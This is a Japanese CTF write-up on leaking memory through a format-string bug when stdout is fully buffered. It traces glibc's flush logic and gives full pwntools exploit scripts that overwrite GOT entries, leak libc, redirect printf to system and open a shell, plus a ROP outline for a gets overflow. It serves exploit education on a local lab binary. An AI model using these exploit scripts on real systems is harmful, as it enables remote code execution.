題名通りで困ったので、書き残しておきます。

サマリ

  • Fully Bufferedのバッファサイズはデフォルトで0x1000。これを超えると出力得られる。
  • exploitのときに出力が0x1001になるよう増やす。例えばバグがfsbなら バイト入力したあと、%{0x1001-ここまでのトータルの出力バイト数}cを入れる。
  • 以降は1ずれているので、0x1000文字出すようにすると1つずれた状態で出力が得られる。
  • recv(0x1000)は時間で勝手に受信をやめるので、recvrepeat(X)を利用して少し待つと良い。
  • その他、出力が0x1000を超えるまで繰り返す、既知アドレスに決まったサイズの文字列を埋めて表示する。
  • やってるときに気づいたが新しいgccはlibc_csu_initを生成しなくなったみたい。RIP pop rdi.

テスト環境はこちら

前提

Linux環境で使われている標準出力や入力は3種類のバッファの方法があります。

  • フルバッファリング: バッファを利用し、バッファがいっぱいになったらデータを出す。
  • ラインバッファリング: バッファを利用し、改行文字に反応してデータを出す。
  • バッファリングなし: バッファをしない。

このうちCTF環境でよく使われるのはバッファリングなしです。 この設定のおかげで、インタラクティブにやり取りをするときに余計なことを考えずに済んでいます。

では、上記のバッファリングが切られていなかった場合は、どのようなことを考えないといけないでしょうか。

Fully Bufferedな環境の課題

例として、以下のようなバイナリを考えます。コンパイル設定はnx, partial relro, no-pieです。 setvbufなどをも書かないことで、極力小さなmainを作りたい気持ちが伝わってきます。

#include<stdio.h>
#include<unistd.h>

int main() {
        char buf[0x100];
        read(0, buf, 0x100);
        printf(buf);
        exit(0);
}

fsbを利用してgotを書き換えてループを作り、適当にリークして書き換えるなりropするなりすれば良いでしょう、と方針が立ちます。

とりあえずループを作ってリークをもらってみます。exitmainに変えて、リークします。

from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")

def aaw(where, what, leng=6):
    payload = b''
    offset = 0
    for i in range(leng):
        c = ((what >> (i * 8)) - offset) % 0x100
        if c == 0:
            c = 0x100
        payload += f"%{c}c%{i+16}$hhn".encode()
        offset += c
    payload = payload.ljust(0x50, b'\x00')
    for i in range(leng):
        payload += p64(where + i)
    payload = payload.ljust(0x100, b'\x00')
    r.send(payload)

aaw(elf.got.exit, elf.sym.main)
r.send(b'%p'.ljust(0x100, b'\x00'))
r.interactive()

ところがうんともすんとも言いません。

$ python3 test.py 
[+] Opening connection to 127.0.0.1 on port 31337: Done
[*] '/home/jt/ctf/fullybuffered/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Sent 0x100 bytes:
    00000000  25 31 31 38  63 25 31 36  24 68 68 6e  25 31 35 35  │%118│c%16│$hhn│%155│
    00000010  63 25 31 37  24 68 68 6e  25 34 37 63  25 31 38 24  │c%17│$hhn│%47c│%18$│
    00000020  68 68 6e 25  31 39 32 63  25 31 39 24  68 68 6e 25  │hhn%│192c│%19$│hhn%│
    00000030  32 35 36 63  25 32 30 24  68 68 6e 25  32 35 36 63  │256c│%20$│hhn%│256c│
    00000040  25 32 31 24  68 68 6e 00  00 00 00 00  00 00 00 00  │%21$│hhn·│····│····│
    00000050  28 40 40 00  00 00 00 00  29 40 40 00  00 00 00 00  │(@@·│····│)@@·│····│
    00000060  2a 40 40 00  00 00 00 00  2b 40 40 00  00 00 00 00  │*@@·│····│+@@·│····│
    00000070  2c 40 40 00  00 00 00 00  2d 40 40 00  00 00 00 00  │,@@·│····│-@@·│····│
    00000080  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000100
[DEBUG] Sent 0x100 bytes:
    00000000  25 70 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │%p··│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000100
[*] Switching to interactive mode
$ %p
[DEBUG] Sent 0x3 bytes:
    b'%p\n'
$  

さてどうしましょう。というのが今回の課題です。 no-pieなので、リークレスで進みきれそうな気がしないでもないですが、せっかくなので今回は仕組みを解き明かしてリークしてもらいます

方針

まずはリークが出力されるときは以下のような順で呼ばれています。

__printf
    __vfprintf_internal
        printf_positional
            _IO_new_file_overflow
                _IO_new_do_write
                    new_do_write
                        _IO_new_file_write
                            _IO_file_write

バッファが絡んで出し渋るところは_IO_new_file_overflowあたりでしょうか。周辺省略しますが、gdbで追うと、以下の場所から出力されているようです。

  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;

link

_IO_do_flush(_f)はマクロで定義されています。 modeの値だけ見てwrite関数を切り替えているようです。今回負の値ですので普通に_IO_do_writeが呼ばれます。

#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0							      \
   ? _IO_do_write(_f, (_f)->_IO_write_base,				      \
		  (_f)->_IO_write_ptr-(_f)->_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,		      \
		   ((_f)->_wide_data->_IO_write_ptr			      \
		    - (_f)->_wide_data->_IO_write_base)))

link

_IO_do_writeから下は素直にwriteに行って表示されます。 まとめると、要するにf->_IO_write_ptr == f->_IO_buf_endとなれば出力されていそうです。

注意点としては、_IO_new_file_overflowに入った時点で、f->_IO_write_ptr == f->_IO_buf_endが成り立っている必要があるということです。

以下の例だと、開始点が0x1bc32a0で、_IO_buf_endが0x1bc42a0なので、サイズは0x1001となります。以下は0x1000文字入れた時点でのstdoutです。この状態ではまだ出力が得られていません。*f->_IO_write_ptr++ = ch;が効いて、ちょうど_IO_buf_end_IO_write_ptrが並んでいます。

gef➤  p *stdout
$1 = {
  _flags = 0xfbad2884,
  _IO_read_ptr = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
  _IO_read_end = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
  _IO_read_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
  _IO_write_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
  _IO_write_ptr = 0x1bc42a0 "",
  _IO_write_end = 0x1bc42a0 "",
  _IO_buf_base = 0x1bc32a0 ' ' <repeats 117 times>, "0", ' ' <repeats 154 times>,
  _IO_buf_end = 0x1bc42a0 "",

以下がその後1文字入れた状態です。flushが動作したあと、ポインタが_IO_write_baseに戻り、0x1bc42a0に1文字入って、_IO_write_ptrが1つ進んでいます。

gef➤  p *stdout
$2 = {
  _flags = 0xfbad2884,
  _IO_read_ptr = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_read_end = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_read_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_write_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_write_ptr = 0x1bc32a1 ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_write_end = 0x1bc42a0 "",
  _IO_buf_base = 0x1bc32a0 "\n", ' ' <repeats 116 times>, "0", ' ' <repeats 154 times>,
  _IO_buf_end = 0x1bc42a0 "",

ということで0x1001文字出力させることで、バッファを吐かせることができます。

以上がFully Bufferedな環境での方針になります。

実装

fsbペイロードの最後にpayload += f"%{0x1000-total+1}c.encode()を加えることで、ちょうど0x1001文字出るように調整します。一度だけなら計算せずに適当に出せばよいですが、何度かループしそうなのできれいに出力してほしいためです。

また出力を受け取るときはrecv(0x1000)としていましたが、サーバに接続したときなどでうまく受信できないときがありましたのでrecvrepeatを使って対策しています。ローカルだと問題ないと思います。

aarも合わせて実装します。1回目にループを作成するため、0x1001バイトを先に送るので、以降は0x1000バイトを送ると出力されます。(すべて0x1001バイトでも出力されますが、毎回ずれるバイトが増えるので面倒です。)

得られる出力は1つ多く出るので、最初の文字を捨てて受け取ります。

from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")

TIME = 0.8
def aaw(where, what, leng=6):
    total = 0
    payload = b''
    offset = 0
    for i in range(leng):
        c = ((what >> (i * 8)) - offset) % 0x100
        if c == 0:
            c = 0x100
        payload += f"%{c}c%{i+16}$hhn".encode()
        offset += c
        total += c
    payload += f"%{0x1000-total+1}c".encode()
    payload = payload.ljust(0x50, b'\x00')
    for i in range(leng):
        payload += p64(where + i)
    payload = payload.ljust(0x100, b'\x00')
    r.send(payload)
    ret = r.recvrepeat(TIME)
    assert(len(ret) == 0x1000)

def aar(where):
    addrlen = len(p64(where).strip(b'\x00'))
    payload = b''
    # mark --> 2
    # leak --> 6
    # padd --> 4
    payload += f"%8$s||%{0x1000-(2+6+4+addrlen)}c".encode()
    assert len(payload) < 0x10
    payload = payload.ljust(0x10, b'a')
    payload += p64(where)
    r.send(payload)
    ret = r.recvrepeat(TIME)
    assert(len(ret) == 0x1000)
    return ret

aaw(elf.got.exit, elf.sym.main)
ret = aar(elf.got.printf)
leak = u64(ret[1:].split(b'||')[0].ljust(8, b'\x00'))
print(f'leak:{leak:x}')
r.interactive()
    000002f0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 40  │    │    │    │   @│
    00000300  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000003f0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 25  │    │    │    │   %│
    00000400  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00001000
[DEBUG] Sent 0x28 bytes:
    00000000  25 31 30 24  73 7c 7c 25  34 30 38 39  63 61 61 61  │%10$│s||%│4089│caaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000020  18 40 40 00  00 00 00 00                            │·@@·│····│
    00000028
[DEBUG] Received 0x1000 bytes:
    00000000  24 70 97 c0  66 ba 7f 7c  7c 20 20 20  20 20 20 20  │$p··│f··|│|   │    │
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00001000
leak:7fba66c09770
[*] Switching to interactive mode
$  

無事出てきてくれました。あとは好きに書き込めばおしまいです。ここではgotを差し替えてみます。(正確には初回以降のaawも0x1000-totalでよいが、そもそも出力もいらないので数えなくても良い)

from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1', 31337)
elf = ELF("./chal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

TIME = 0.8
def aaw(where, what, leng=6):
    total = 0
    payload = b''
    offset = 0
    for i in range(leng):
        c = ((what >> (i * 8)) - offset) % 0x100
        if c == 0:
            c = 0x100
        payload += f"%{c}c%{i+16}$hhn".encode()
        offset += c
        total += c
    payload += f"%{0x1000-total+1}c".encode()
    payload = payload.ljust(0x50, b'\x00')
    for i in range(leng):
        payload += p64(where + i)
    payload = payload.ljust(0x100, b'\x00')
    r.send(payload)
    ret = r.recvrepeat(TIME)
    assert(len(ret) == 0x1000)

def aar(where):
    addrlen = len(p64(where).strip(b'\x00'))
    payload = b''
    # mark --> 2
    # leak --> 6
    # padd --> 4
    payload += f"%8$s||%{0x1000-(2+6+4+addrlen)}c".encode()
    assert len(payload) < 0x10
    payload = payload.ljust(0x10, b'a')
    payload += p64(where)
    r.send(payload)
    ret = r.recvrepeat(TIME)
    assert(len(ret) == 0x1000)
    return ret

aaw(elf.got.exit, elf.sym.main)
ret = aar(elf.got.printf)
leak = u64(ret[1:].split(b'||')[0].ljust(8, b'\x00'))
print(f'leak: {leak:x}')
libc.address = leak - libc.sym.printf
print(f'base: {libc.address:x}')

aaw(elf.got.printf, libc.sym.system)
r.sendline(b"/bin/sh\x00")
r.interactive()

もとの問題とスクリプトはここにあります。gotではなくROPを選択したようですが、やりたいことは同じです。

おまけ:Stack BoFの場合

リークが欲しい場合、アドレスを固定のオフセットに書き込む都合で、出力の文字数を伸ばせないため少し面倒です。PIEが有効でないようなケースでは、文字列を書いて、表示してしまうのが良いように思います。

#include<stdio.h>
int main(){
        char buf[3];
        gets(buf);
        puts(buf);
        return 0;
}

poprdi, bss, elf.plt.gets, poprdi, bss, elf.plt.puts, poprdi, elf.got.puts, elf.plt.puts, elf.sym.mainというropを作って、文字列を0x1001文字埋めると良いです。今回はリークがほしいだけなので適当な数を入れて、値を貰えればOKなので気楽に書けば良いでしょう。書けるところが足りない場合は複数回表示すればよいです。(0x800文字書いて2回表示するなど)

何らか文字列が出せるなら、それを繰り返せばよいです。あまり繰り返し回数が多くなると、スタックが枯渇する可能性があるので注意です。

これも手元でも試そうとしましたが、検証環境のgcc 11.2.0-19ubuntu1ではlibc_csu_initを生成しないため、pop rdiが存在しておらず一旦詰んだのでやめます。こういう設定の問題を解いたときのスクリプトを参考までに上げていますので、参照ください。(ここ